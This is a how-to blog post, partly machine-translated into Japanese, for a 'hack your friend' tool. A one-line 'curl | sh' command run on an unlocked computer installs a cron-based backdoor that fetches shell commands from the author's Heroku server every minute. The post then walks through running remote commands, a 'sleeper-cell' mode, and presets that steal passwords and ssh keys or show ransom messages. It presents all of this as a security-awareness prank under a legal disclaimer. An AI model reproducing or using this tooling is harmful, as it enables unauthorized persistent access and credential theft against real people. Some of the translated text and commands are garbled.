友達をハックする方法

私の友人はよくコンピューターを開いたままにしてロックを解除します。私は彼らにおそらく彼らのコンピュータをロックする習慣を身につけるべきだと言います、しかし彼らは私に耳を傾けません。そこで、友達をハッキングしてコンピュータセキュリティの重要性を示す簡単なプロジェクトを作成しました。

私がする必要があるのは、彼らがコンピューターのロックを解除したまま数秒間待って、端末を開き、1つの短いコマンドを入力することだけです。

それでおしまい!彼らのコンピューターは感染しており、このコンピューターで必要なコマンドをリモートで実行できます。かなり甘いですよね?それとも衝撃的ですか?

ハッキングは違法です。具体的には:

「許可なく、または許可されたアクセスを超えてコンピューターに意図的にアクセスする」—コンピューター犯罪取締法(18 USC 1030)

したがって、この記事の目的は、悪意のある人があなたをハッキングするのがいかに簡単であるかを示し、自分自身がハッキングされるのを防ぐことであることに注意してください。

あなたの人生を破壊するのにハッカーの天才は必要ありません。コンピュータに物理的にアクセスできる「スクリプトキディ」は、わずか50行のコードを含むスクリプトをダウンロードすることであなたを危険にさらす可能性があります。

セットアップの取得

このプロジェクトのすべてのコードは、すぐにジャンプしたい場合はこのリポジトリにありますが、すべてがどのように機能するかを以下で説明します。

まず、リポジトリのクローンを作成し、その依存関係をインストールして、ハックコマンドラインインターフェイス(CLI)ツールをシンボリックリンクする必要があります。

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

次に、友達のマシンで実行されるスクリプトをホストするようにHerokuをセットアップする必要があります。これまでHerokuを使用したことがない場合は、ここでサインアップして(無料です!)、マシンにCLIツールをセットアップしてください。

brew install heroku-toolbeltheroku login

ハックリポジトリ内で、覚えやすい名前のHerokuアプリを作成します。私はハッカーシェットを使用しています。

heroku create hacker-chet

次に、コマンドを実行して少しセットアップを行う必要があります。実際に行っているのは、Heroku WebサイトのルートURLを取得し、それをpackage.jsonに配置することだけです。このようにして、サーバーはアプリのURLをシェルスクリプトに挿入できます。

npm run init

自分をハックしてテストしたい場合は、サーバーをローカルで起動できます。

npm start

または、Herokuにデプロイすることもできます。

npm run deploy

これで、ハッキングする準備が整いました。

APIをハックする

このプログラムの優れている点は、誰かをハッキングし始めるには、その人のマシンで1つのコマンドを実行するだけでよいということです。

curl /hack | sh

ROOT_URLは、アプリケーションへの特定のパスです。サーバーをローカルで実行している場合、これはlocalhost:5000になり、Herokuにデプロイすると、.herokuapp.comのようになります。

これは、cronジョブ(特定の時間にタスクを再実行する「時系列ジョブ」)を設定して、/ env / liveエンドポイントに毎分pingを実行し、結果をshにパイプします。実はとても簡単です!そして、HerokuはHTTPSを無料で提供するので、その「安全」な権利ですか?

友達をハッキングしたら、コンピューターのコマンドラインツールを使って他のすべてを行うことができます。

ハッキングツールは、さまざまなハッキングされた環境の概念があります。/ hackエンドポイントを使用して誰かをハックすると、その人はライブ環境で開始します。また、環境ごとに、さまざまな異なるコマンドを実行できます。少しのウォークスルーですべてをデモンストレーションします。

以下は、ライブ環境のシェルスクリプトを書き直して、「私はあなたを見ています」と声を出して言う次のコマンドを実行します。

hack live exec "say 'I\'m watching you'"

まだ機能しません。Herokuアプリに再デプロイする必要があります。

hack deploy

次の1分待って、サーバーログを追跡することにより、友人のコンピューターがサーバーにpingを実行するのを確認します。

hack logs

The whole point of environments is so you can hack multiple people at the same time. To isolate people in different environments, you just need to change the name.

hack live rename jon

Next time the live environment is pinged, it will rewrite the cron job to start pinging the jon environment instead.

You can do everything the same just by changing the environment argument.

hack jon exec "say 'hello jon'"

Now if you’ve had enough fun for the day and the party’s over, you can forget Jon and assure him that you’ve “unhacked” him.

hack jon forget

This will erase the cron job from their computer. Or you might want to just put this environment in sleeper-cell mode so you can recover it later.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!